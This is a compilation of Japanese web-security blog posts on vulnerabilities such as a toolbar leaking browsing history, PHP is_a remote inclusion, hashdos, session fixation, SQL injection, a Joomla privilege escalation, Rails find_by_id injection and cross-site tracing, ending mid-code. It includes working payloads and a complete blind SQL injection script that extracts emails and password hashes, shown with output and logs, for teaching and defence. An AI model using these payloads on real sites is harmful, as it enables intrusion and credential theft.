導入

1. T-IDの登録（アカウント作成）
2. ツールバーのダウンロード
3. ツールバーの導入

使ってみる

WEB閲覧履歴の送信

第６条（履歴の収集）

1. 利用者は、当社が提供した本ツールバーをインストールした利用者端末による全てのWEB閲覧履歴（閲覧したURL、検索キーワード、ファイル名及びアクセス日時等の履歴情報をいい、以下「WEB閲覧履歴」といいます）が当社により取得されることをあらかじめ承諾するものとします。

POST /service/track.cgi?y=-8588570930699932058 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Content-Type: application/x-www-form-urlencoded
Host: log.opt.ne.jp
Content-Length: 183
Expect: 100-continue
Connection: Keep-Alive

xxx&
mid=4A7DZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ50170&
tlsc_l=NVEpO4ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZU_s&
u=https%3a%2f%2fwww.hash-c.co.jp%2f%3fPHPSESSID%3dABCDEFGHIJK0123456789

第１０条（免責事項）
1.利用者は、自己の判断と責任の下で、本ツールバーを利用するものとします。本ツールバーを利用したこと又は利用できなかったこと若しくは第３条に基づくTポイントの付与が受けられなかったことにより、利用者に損害、その他の不利益が生じたとしても、当社は一切責任を負いません。

URLの平文送信の影響

利用者固有番号

第６条（履歴の収集）
【略】
3. 本ツールバーには固有の利用番号が登録されています。当該利用番号は、本ツールバーが機能するために必要な情報であり、無効化あるいは削除することはできません。

• ツールバーインストール直後のT-SITEにログイン前の状態では、tlsc_lは空である
• T-SITEのWebアプリケーションの発行するCookieにも tlsc_l というCookieがあり、TポイントツールバーのPOSTする tlsc_l と値が同じ
• 端末を変えても、T-IDが同じなら tlsc_l は同じ。midの方は端末毎に変わる
• Cookieのtlsc_lの方も、ログイン毎に値は変化しない

利用者固有番号の悪影響

• WEB閲覧履歴の平文送信（根本原因）
• 「固有の利用番号」の存在（攻撃を容易にする要因）

まとめ

• 利用規約に上記セキュリティ上のリスクを明記する
• WEB閲覧履歴の送信をSSL通信に変更する
• Tポイントツールバーの提供を停止し、既存ユーザには強制アップデートにて履歴送信機能を止める。log.opt.ne.jpも停止する

is_a関数とis_subclass_of関数

<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_a($parent, 'A'));       // true
var_dump(is_a($parent, 'SubA'));  // false
var_dump(is_a($sub, 'A'));           // true
var_dump(is_a($sub, 'SubA'));      // true

<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_subclass_of($parent, 'A'));　  　　// false
var_dump(is_subclass_of($parent, 'SubA'));   // false
var_dump(is_subclass_of($sub, 'A'));            // true
var_dump(is_subclass_of($sub, 'SubA'));       // false
var_dump(is_subclass_of('A', 'A'));               // false
var_dump(is_subclass_of('A', 'SubA'));      　　// false
var_dump(is_subclass_of('SubA', 'A'));   　  　 // true
var_dump(is_subclass_of('SubA', 'SubA'));　 　// false

PHPの__autoload関数

<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
$x = new X();  // クラスXは未定義なので、__autoload('X')が暗黙に呼び出される
               // 結果的に、X.phpがインクルードされる

<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_subclass_of('X', 'A'));  // __autoload('X')が暗黙に呼び出される

PHP5.3.7におけるis_subclass_of関数の変更

<?php
interface B {}
class ImplB implements B{}
class SubImplB extends ImplB{};
$parent = new ImplB();
$sub = new SubImplB();
var_dump(is_subclass_of($parent, 'B'));     // false
var_dump(is_subclass_of($sub, 'B'));        // true
var_dump(is_subclass_of('ImplB', 'B'));     // false
var_dump(is_subclass_of('SubImplB', 'B'));  // true

PHP5.3.7において副作用的に発生したis_a関数の仕様変更

• 第1引数としてクラス名（文字列）が指定できるようになった
• 第1引数に指定したクラス名が未定義クラスの場合、__autoload関数が呼び出されるようになった

<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_a('X', 'A'));  // __autoload('X')が暗黙に呼び出される

is_a関数の仕様変更の影響

• まぁ、これはこれで一貫した処理なのでは?
• でも、安定版の中で振る舞いが変わるのはやはりまずいよ
• PEARだと、この影響でまずいことがある
• これはセキュリティバグだ。第1引数にURLが指定されると、リモートファイルインクルード(RFI)になる

PEARライブラリFileオブジェクトの誤動作例

<?php
require_once 'File.php';
$content = File::readAll(FILENAME);
if (PEAR::isError($content)){

function isError($data, $code = null)
{
  if (!is_a($data, 'PEAR_Error')) {
    return false;
  }
  if (is_null($code)) {
    return true;
  } elseif (is_string($code)) {
    return $data->getMessage() == $code;
  }
  return $data->getCode() == $code;
}

is_a関数とPEARの合わせ技で脆弱性に

<?php
function __autoload($class_name) {
  include $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
  echo "error : $uploaded_file\n";
}else{
  echo "success : $uploaded_file\n";
}

• 利用者がPHPスクリプトをアップロードする。ファイル名は /var/data/12345.php となる
• 利用者が /var/data/12345 という文字列をアップロードする
• 上記の流れで、/var/data/12345.php がインクルードされ、スクリプトが実行される

攻撃が成立する条件

• PHP5.3.7またはPHP5.3.8を使っている（PHP5.3.9で対策されているため）
• PEAR - Fileなど、外部からの入力に対して、直接・間接にis_a関数を呼び出している
  典型的にはファイルアップロード機能があり、その中味をFile::readAll関数で読み出している
• アップロード機能によりテキストファイルをアップロードできる
• __autoload関数を定義している
• 以下のいずれかが成立する
• 　allow_url_includeがOnである
•   利用者がPHPスクリプトを拡張子が.phpのファイルとしてアップロードでき、ファイル名を推測できる

対策

• PHPの最新版を用いる。PHP5.3.9で対策されている（必須）
• is_a関数ではなく、instanceof演算子を用いる（推奨）
• Fileクラスを使わない。File::readAll関数の代わりに、file_get_contentsが利用できる（推奨）
• __autoload関数を実装する場合は、クラス名の妥当性確認を行う（強く推奨、後述）

考察・まとめ

Mbstring:
    Fixed bug #63447 (max_input_vars doesn't filter variables when mbstring.encoding_translation = On).
http://www.php.net/ChangeLog-5.php#5.4.9より引用

CentOSやUbuntuのPHPパッケージは問題ない

チェック用スクリプト

<?php
  if (@$_GET['mode'] === 'check') {
    header('Content-Type: text/plain');
    echo (int)count($_POST);
    exit;
  }
  $max_input_vars = ini_get('max_input_vars');
  $postnumber = (int)$max_input_vars + 10;
  if ($max_input_vars === false) {
    $max_input_vars = 'undefined';
  }
?>
<html>
<head>
<title>PHP hashdos checker</title>
</head>
<body>
PHP version : <?php echo htmlspecialchars(phpversion()); ?><br>
max_input_vars : <?php echo htmlspecialchars($max_input_vars); ?><br>
mbstring.encoding_translation : <?php
   echo htmlspecialchars(ini_get('mbstring.encoding_translation')); ?><br>
<div id='result'></div>
<div id='judgment'></div>
<script>
var n = <?php echo (int)$postnumber; ?>;
var data = '';
for (var i = 1; i <= n; i++) {
  data += i + '=&';
}
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    var count = req.responseText;
    document.getElementById('result').appendChild(
      document.createTextNode('Number of POST parameters : ' + count));
    if (count < n) {
      judgment = 'This web server is NOT vulnerable to hashdos.';
    } else {
      judgment = 'This web server is VULNERABLE to hashdos.';
    }
    document.getElementById('judgment').appendChild(document.createTextNode(judgment));
  }
}
req.open('POST', '?mode=check' );
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send(data);
</script>
</body>
</html>

対策

• PHPの最新版を導入する（本稿執筆時点でPHP5.4.9、またはPHP5.3.19）
• mbstring.encoding_translation をOffに設定する（可能な場合）
• hashdosの回避策を実装する
• hashdosのリスクを受容する

• Webアプリケーションに対する広範なDoS攻撃手法(hashdos)の影響と対策
• hashdos攻撃をmod_securityで防御する(CentOS+yum編)
• hashdos攻撃をmod_securityで防御する(Ubuntu+apt-get編)
• Cookieによるhashdos攻撃と対策
• ModSecurityをソースからビルドしてhashdos対策に活用する

免責

PR

セッションフィクセイション脆弱性とは

セッションIDを送り込む方法(1) URL埋め込みのセッションID

セッションIDを送り込む方法(2) Cookieに保存したセッションID

影響を受けやすいサイト

• URLにセッションIDを埋め込んでいるサイト
• 地域型JPドメイン名または都道府県型JPドメイン名を用いているサイト
• サブドメイン形式のレンタルサーバー
• サブディレクトリ形式のレンタルサーバー
• 同じドメイン上に脆弱なサイトがある（可能性の高い）サイト
• HTTPヘッダインジェクション（などCookie設定可能な）脆弱性のあるサイト

対策

ログインが成功した時点から新いセッションを開始する（新しいセッションIDでセッション管理をする）ようにします。また、新しいセッションを開始する際には、既存のセッションIDを無効化します。

session_regenerate_id(true);

脆弱性のおさらい

$id = $_REQUEST['id']; // $id : 投稿ID
$sql = sprintf('SELECT * FROM posts WHERE id=%d', mysql_real_escape_string($id)
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table['member_id'] == $_SESSION['id']) { // 投稿者であれば削除
  mysql_query('DELETE FROM posts WHERE id=' . mysql_real_escape_string($id)) or die(mysql_error());
}

情報漏洩の可能性はないのか?

• UNION SELECTを用いる
• エラーメッセージに情報を埋め込む
• ブラインドSQLインジェクションを用いる

Query failed: ERROR: 型integerの入力構文が無効です: "yamada:pass1" in /var/wwww/44/44-001.php on line 7

mysql> select cast('yamada:pass1' as SIGNED );
+---------------------------------+
| cast('yamada:pass1' as SIGNED ) |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> select load_file('xxxx');    # xxxxは存在しないファイル名
+-------------------+
| load_file('xxxx') |
+-------------------+
| NULL              |
+-------------------+
1 row in set (0.00 sec)

mysql> select extractvalue('<a><b>xss</b></a>', '/a/b');
+-------------------------------------------+
| extractvalue('<a><b>xss</b></a>', '/a/b') |
+-------------------------------------------+
| xss                                       |
+-------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT extractvalue('<a><b>xss</b></a>', '/$this is a pen');
ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'

mysql> SELECT extractvalue('',concat('/$',(SELECT email FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

mysql> SELECT extractvalue('',concat('/$',(SELECT concat(email,':',password) FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp:5baa61e4c9b'

mysql> select char(65, 66, 67);
+------------------+
| char(65, 66, 67) |
+------------------+
| ABC              |
+------------------+

mysql> select extractvalue(char(60),concat(char(47,36),(select email from members limit 1 offset 0)));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

SELECT * FROM posts WHERE id= 文書IDを数値化したもの
DELETE FROM posts WHERE id= 文書IDそのまま

http://example.jp/minibbs/delete.php?id=35-(select+extractvalue(char(60),concat(char(47,36),(select+email+from+members+limit+1+offset+0))))

ブラインドSQLインジェクション

• 問い合わせ結果をファイルに書き出すSQL文等を使う
• SQL文の実行結果から1ビットの情報を得て、それを繰り返す

• 実行の時間差を使う
• データの更新・削除の成功・失敗を使う
• レスポンスのステータスの違い(200と500等)を使う
• SQL文からping等通信手段を呼び出す
• SQL文の実行エラーを使う（厳密なブラインドではない）

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null) |
+----------------------------------------------------------------------------------+
|                                                                             NULL |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null) |
+----------------------------------------------------------------------------------+
|                                                                                0 |
+----------------------------------------------------------------------------------+
1 row in set (3.02 sec)

mysql> SELECT * FROM members WHERE email LIKE '%#%%' ESCAPE '#';
Empty set (0.00 sec)

mysql> SELECT * FROM members WHERE email LIKE '#%' ESCAPE '##';
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a', 'A','AB');
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't', 'A','AB');
Empty set (0.00 sec)

ブラインドSQLインジェクションのPHPスクリプト

<?php
define('BASEURL', 'http://192.168.0.10');
define('DOCID', 18);    // 攻撃者が投稿した文書のID
// 略
// cURL初期化
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

// 以下、ログイン
curl_setopt($ch, CURLOPT_URL, BASEURL . '/minibbs/login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=sato@example.jp&password=password&save=on');
curl_exec($ch);

// $chars .. 探索候補文字のコードの配列
$chars = array();
for ($ch = 32; $ch < 128; $ch++) {
  if (preg_match('/[\.\-\_\@0-9A-Z]/', chr($ch))) {
    $chars[] = $ch;
  }
}

// 表の1行目から3行目を求めるループ
for ($num = 0; $num < 3; $num++) {
  // 列emailと列passwordを求めるループ
  foreach (array('email', 'password') as $colname) {
    $result = '';
    // 1文字目から順に求めるループ
    for ($p = 1;; $p++) {
      // 解が得られているかどうかのチェック
      $result_array = char_array($result);
      if (check1($ch, "(SELECT $colname FROM members LIMIT $num,1)=$result_array")) {
        echo "match : $result\n";  // 解が得られているので表示してループ脱出
        break;
      }
      // 以下、$p文字目を求める二分探索。ここでは大ざっぱな範囲の絞り込みのみ
      $min = 0;
      $max = count($chars) - 1;
      while ($max - $min > 2) {
        $pivot = $min + ceil(($max - $min) / 2);  // ピボットの位置を計算
        $chrcode = $chars[$pivot];   // ピボットの位置の文字コード
        if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)>=char($chrcode)")) {
          $min = $pivot;
        } else {
          $max = $pivot - 1;
        }
      }

      // 以下、$p文字目を求める線形探索
      $found = 0;
      for ($pivot = $min; $pivot <= $max; $pivot++) {
        $chrcode = $chars[$pivot];
        if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)=char($chrcode)")) {
          $found = 1;
          break;
        }
      }
      if (! $found) {
        echo "not found\n";
        break;
      }
      $result .= chr($chars[$pivot]);
    }
  }
}

function check1($ch, $condition) {
  // ESCAPE句によるブラインドの定型的なSQL文
  $subquery = "(SELECT id FROM members WHERE id LIKE char(88) ESCAPE if($condition,char(49),char(49,50)))";
  $url = BASEURL . '/minibbs/delete.php?id=' . DOCID . '-' . urlencode($subquery);
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, 0);
  $response = curl_exec($ch);   // HTTPリクエスト発射
  return ! preg_match('/Incorrect/', $response);  // エラーメッセージがレスポンスになければTRUE
}

function char_array($s) {
  if ($s === '')
    return 'char(0)';
  return 'char(' . implode(',', unpack('C*', $s)) . ')';
}

$ time php blindsqlinjection.php
match : TOKUMARU@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : SATO@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : YAMADA@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8

real    0m2.977s
user    0m0.004s
sys     0m0.508s

192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2872%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2867%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2864%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%3Dchar%2853%2C66%2C65%2C65%2C54%2C49%2C69%2C52%2C67%2C57%2C66%2C57%2C51%2C70%2C51%2C70%2C48%2C54%2C56%2C50%2C50%2C53%2C48%2C66%2C54%2C67%2C70%2C56%2C51%2C51%2C49%2C66%2C55%2C69%2C69%2C54%2C56%2C70%2C68%2C56%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -

まとめ

1. 事案の概要

発生時間：

2012年5月1日14時18分～17時17分

発生場所：

研究者の情報交換のためNICT が外部公開用に設置しているWebサーバ

http://mastarpj.nict.go.jp/

サービス概要：

本Webサーバには、主に過去に開催した音声翻訳関連の研究に関する会議の情報が保存され、Webで公開するために稼働させていました。（現在は運用を停止）

2. 被害の状況

• 上記Webサーバのトップページ(index.html)が改ざんされました。
• 会議参加者等に係る個人情報は当該Webサーバ上にはなく、個人情報の流出はありません。
• 詳細なアクセス解析等の結果、当該Webサーバ以外のNICTのサーバへの侵入は認められませんでした。
• 改ざんされたトップページには、マルウェア（不正プログラム）や他の不正サイトへ誘導するリダイレクトコードの挿入等は認められませんでしたので、当該ページにアクセスされた一般ユーザの方への二次被害はありません。

http://www.nict.go.jp/info/topics/2012/05/announce120516.html

3. 直接的な原因

当該Webサーバにおいて使用していたコンテンツマネジメントシステム（CMS）Joomla!2.5.1では、研究者の情報交換が円滑に行われるよう、一般ユーザ権限のアカウントを管理者のチェックなしに取得できる設定※1としていましたが、その取得の際に不正な情報を入力すること等によって一般ユーザ権限のアカウントが管理者権限のアカウントに昇格されるという脆弱性をもっていました。

このため、CMSの管理者権限のアカウントが不正に取得され、そのアカウントを用いてトップページが改ざんされました。

なお、最新※2バージョンのJoomla! 2.5.4では、今回の不正なアクセスに係る脆弱性は解消されておりますが、当該Webサーバにおいてはバージョンアップを怠っていたものです。

※1 アカウント登録方法を "Self " に設定
※2 平成24年5月15日現在

NICT は、この度の事案を重く受け止め、事実関係の調査で得られた結果を踏まえ、再発防止のための対策を講じ、更なるセキュリティ強化に取り組んでまいります。

http://www.nict.go.jp/info/topics/2012/05/announce120516.html

[20120303] - Core - Privilege Escalation

Jeff Channell | Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability | Joomla! | jeffchannell.com

攻撃方法

脆弱性の原因

components/com_users/models/registration.php getData() 関数内

2.5.2: $this->data->groups = isset($this->data->groups) ? array_unique($this->data->groups) : array();
2.5.3: $this->data->groups = array();

 $temp = (array)$app->getUserState('com_users.registration.data', array());
 foreach ($temp as $k => $v) {
   $this->data->$k = $v;
 }

components/com_users/controllers/registration.php register()関数

 $data = $model->validate($form, $requestData);
 // Check for validation errors.
 if ($data === false) {
   // Save the data in the session.
$app->setUserState('com_users.registration.data', $requestData);
   // Redirect back to the registration screen.
   $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));
   return false;
 // 中略
 // バリデーションが正常の場合
 // Flush the data from the session.
 $app->setUserState('com_users.registration.data', null);

1. パスワードをわざと不整合にしておく
2. ユーザ登録時に jforms[groups][]=7 をPOSTパラメータに追加
3. パリデーションでエラー発生
4. 再入力に備えてリクエストのパラメータをすべてセッションに保存（コントローラ）
5. モデル側で、セッションの中味をすべて取り込み
6. 2.で追加したgroupsが取り込まれる

対策

最新版で攻撃を試す

まとめ

• Internet Explorer 6
• Internet Explorer 7
• Internet Explorer 8

Windows XP、Windows Server 2003ユーザ

例)
Lunascape 6 (Tridentレンダリングエンジン)
Sleipnir 3 (IE互換モード)
Firefox + IE Tab2
Chrome + IE Tab

Windows Vista、Windows 7、Windows Server 2008(R2含む)ユーザ

Windows 8、Windows Server 2012ユーザ

まとめ

追記(2012/1/2 12:30)

• Microsoft Security Advisory: Vulnerability in Internet Explorer could allow information disclosure

The Fix it solution that is described in this section is not intended to be a replacement for any security update. We recommend that you always install the latest security updates. However, we offer this Fix it solution as a workaround option for some scenarios.
http://support.microsoft.com/kb/2794220

このセクションに記載したFix itソリューションは、セキュリティ更新プログラムの代替として意図したものではありません。常に最新のセキュリティ更新プログラムをインストールすることをお勧めします。しかしながら、いくつかのシナリオに対する回避策のオプションとして、このFix itソリューションを提供するものです。

概要

検証

$ rails g scaffold user name:string email:string
$ rails g scaffold book author:string title:string

  def show
    @book = Book.find(params[:id])
    respond_to do |format|
      format.html # show.html.erb
      format.json { render json: @book }
    end
  end

    SELECT "books".* FROM "books" WHERE "books"."id" = ? LIMIT 1 [["id", "1"]]

    @book = Book.find_by_id(params[:id])

    SELECT "books".* FROM "books" WHERE "books"."id" = 1 LIMIT 1

    @book = Book.find_by_id('1 or 1 = 1')

    SELECT "books".* FROM "books" WHERE "books"."id" = 1 LIMIT 1

    @book = Book.find_by_id({:select =>"name as author, email as title, id from users limit 1 --"})

    SELECT name as author, email as title, id from users limit 1 -- FROM "books" WHERE "books"."id" IS NULL LIMIT 1

攻撃経路について

The simple problem is, that most developers are simply not aware of the confidentiality of this file , and in result they 'll happly(happilyのtypoか?) check it into Github or other online repositories

単純な問題点は、大部分の開発者がこのファイル(注: secret_token.rb)を機密にすべきことを単に承知しておらず、その結果、開発者たちはそのファイルをご機嫌でGithubその他のオンラインレポジトリにチェックインして(その結果公開して)しまうことだ。

対策

    SELECT "books".* FROM "books" WHERE "id"."select" = 'name as author, email as title, id from users limit 1 --' LIMIT 1

  Post.find_by_id(params[:id])

  Post.find_by_id(params[:id].to_s)

まとめ

追記(2013/1/4 2:10)

    id[select]=name+as+author,+email+as+title,+id+from+users+limit+1+--

    {"select"=>"name as author, email as title, id from users limit 1 --"}

Researchers at Exodus Intelligence reported today they have developed a new attack that bypasses the FixIt issued by Microsoft. They were able to bypass and compromised a fully-patched system using some variation of the exploit published this week.
https://isc.sans.edu/diary/14824

Exodus Intelligenceの研究者たちは、Microsoftから提供されたFixItをバイパスする新しい攻撃を開発したと今日報告した。彼らは、今週発表されたexploitのいくつかのバリエーションを使用して、完全にパッチを適用したシステムをバイパスして危殆化することに成功した。 

• EMET 3.5: The Value of Looking Through an Attacker's Eyes

EMET 3.5のダウンロードと導入

EMET 3.5の設定

注意

追記(2013/1/9 15:50)

https://twitter.com/ExodusIntel/status/288639040532652033

TRACEメソッドとは

TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive

HTTP/1.1 200 OK
Date: Tue, 22 Jan 2013 13:51:09 GMT
Server: Apache/2.2.14 (Ubuntu)
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: message/http
Content-Length: 198

TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive

Cross-Site Tracing(XST)攻撃とは

XST攻撃の実際

<body>
<script type="text/javascript">
function sendTrace (trace) {
 try {
  var xhr = 0;
  if (window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else {
     xhr = new ActiveXObject("Microsoft.XMLHTTP");
  }
  if (trace == 1) {
    xhr.open("TRACE", "/auth/", false);
  } else if (trace == 2) {
    xhr.open("\nTRACE", "/auth/", false);
  } else {
    xhr.open("GET", "/auth/", false);
  }
  xhr.send();
  res = xhr.responseText;
  alert(res);
 } catch (e) {
  alert('Error:' + e.message);
 }
}
</script>
<input type="button" onclick="sendTrace(0);" VALUE="GET">
<input type="button" onclick="sendTrace(1);" VALUE="TRACE">
<input type="button" onclick="sendTrace(2);" VALUE="\nTRACE">
</body>

XSTがブラウザ側で対策されたのはいつ?

XSTおよびTRACEメソッドをどのように捉えるか

• XSTは元々XSS脆弱性が存在しないと危険性はない
• XSS単独でも危険な脆弱性である
• XSTがなくてもXSS単体でBASIC認証のあるコンテンツを盗むことはできる
• 主要ブラウザでは5年ほど前からXST防御機能が入っている
• 古いブラウザを使うこと自体が大変危険な行為である

• XSTで万一BASIC認証のパスワードが漏洩すると影響が長期に及ぶ
• XSSを完全に排除することは実際には困難である
• TRACEメソッドはApacheの設定で極めて容易に止めることができ、副作用もない

はじめに
1. DOM Based XSSの概要
2. IPAに報告されたDOM Based XSSの脆弱性
3. DOM Based XSSの事例
4. DOM Based XSSの対策方法
コラム
おわりに

議論の前提

Cookieを用いた認証状態保持

ログアウト機能は本当に必要なのか?

• ブラウザを終了する（HTTP認証のID・パスワードは消える）
• ブラウザの機能によりHTTP認証のID・パスワードを消去する

HTTP認証とフォーム認証では、状態保持の場所が違う

ログアウト機能がないと困ること

• 共有PCでは認証機能のあるアプリケーションを使わない
• 共有PC使用後はブラウザを閉じる
• アプリケーションのセッションタイムアウト時間を短くする。セッションタイムアウトすると認証情報も破棄される
• 離席中のPCを使われること自体が重大な問題なので、離席時にはPCをロックする
• 同じく、離席中はノートPCを持ち歩く

• 認証フォームはSSLでIDとパスワードを暗号化して送信している
• 認証後のページは平文のHTTPであり、セッションIDも平文送信される

ログアウト機能の効用のまとめ

ログアウト機能の実装法

• セッション自体を破棄する
• 認証状態を保持するセッション変数に「ログインしていない」ことを示す値を代入する

session_destroy();

session_start();
$_SESSION = array();
session_destroy();

$_SESSION['userid'] = false;

セッションIDのCookieを破棄する必要はあるか

セッション ID の受け渡しに クッキーが使用されている場合（デフォルト）には、セッションクッキーも 削除されなければなりません。
http://www.php.net/manual/ja/function.session-destroy.phpより引用

セッションIDのCookieを削除したい理由

• 不要なものが出続けるのはなんとなく気持ち悪い
• リクエストヘッダが不要なCookieのサイズ分大きくなるのは非効率である
• プライバシーポリシーにおいて、Cookieはログイン中のみ使用すると約束している
• ログアウト後もCookieが送信されることにより、トラッキング等の「あらぬ疑い」をかけられたくない

まとめ

ユニークなSQLインジェクション対策

$_GET[id]=strip_tags(htmlspecialchars($_GET[id]));
$_GET[id]=preg_replace(array(‘/[~;\'\"]/’,'/–/’),”,$_GET[id]);

問題点の説明

• $_GETを直接変更していて汎用性が乏しい
• idをクォートしていないなどいくつかの文法エラー
• 表示前提でないのにHTMLエスケープしている
• HTMLエスケープした後strip_tagsを呼んでいるが、この段階ではタグはエスケープ済みなので、strip_tagsは何もしない
• 「危険な文字」を削除するサニタイジング手法を用いている

function sanitize($str) {
  $str = strip_tags(htmlspecialchars($str));
  return preg_replace(array('/[~;\'\"]/', '/-/'), '', $str);
}

脆弱性はないのか

$sql = sprintf("SELECT * FROM users WHERE id='%s' AND pwd='%s'", sanitize($id), sanitize($pwd));

$id = '\\';   // \ 1文字
$pwd = 'password';

SELECT * FROM users WHERE id='\' AND pwd='password'

$id = '\\';   // \ 1文字
$pwd = ' OR 1=1#';

SELECT * FROM users WHERE id='\' AND pwd=' OR 1=1#'

「自己流の脆弱性対策」の危険性

• データベースアクセスを含むフレームワークを新たに開発する場合
• O/Rマッパーを自作する場合
• phpMyAdminのようなデータベース管理ツールを自作する場合

• 文字列連結(sprintf等を含む）を用いてSQL文を組み立てない
• 静的プレースホルダを用いてSQL文にパラメータを割り当てる
• データベース接続時に文字エンコーディングを指定する

まとめ

解決すべき課題の整理

<?php // form.php 入力フォーム
  session_start();
  // トークンがセッションになければトークンを生成してセッションに保存
  if (! isset($_SESSION['token'])) {
    $rand = file_get_contents('/dev/urandom', false, NULL, 0, 24);
    $token = base64_encode($rand);
    $_SESSION['token'] = $token;
  } else {
    $token = $_SESSION['token'];
  }
?>
<body>
投稿して下さい
<form action="post.php" method="POST">
<input name=body>
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token); ?>">
<input type=submit>
</form>
</body>

<?php post.php 投稿処理
  session_start();
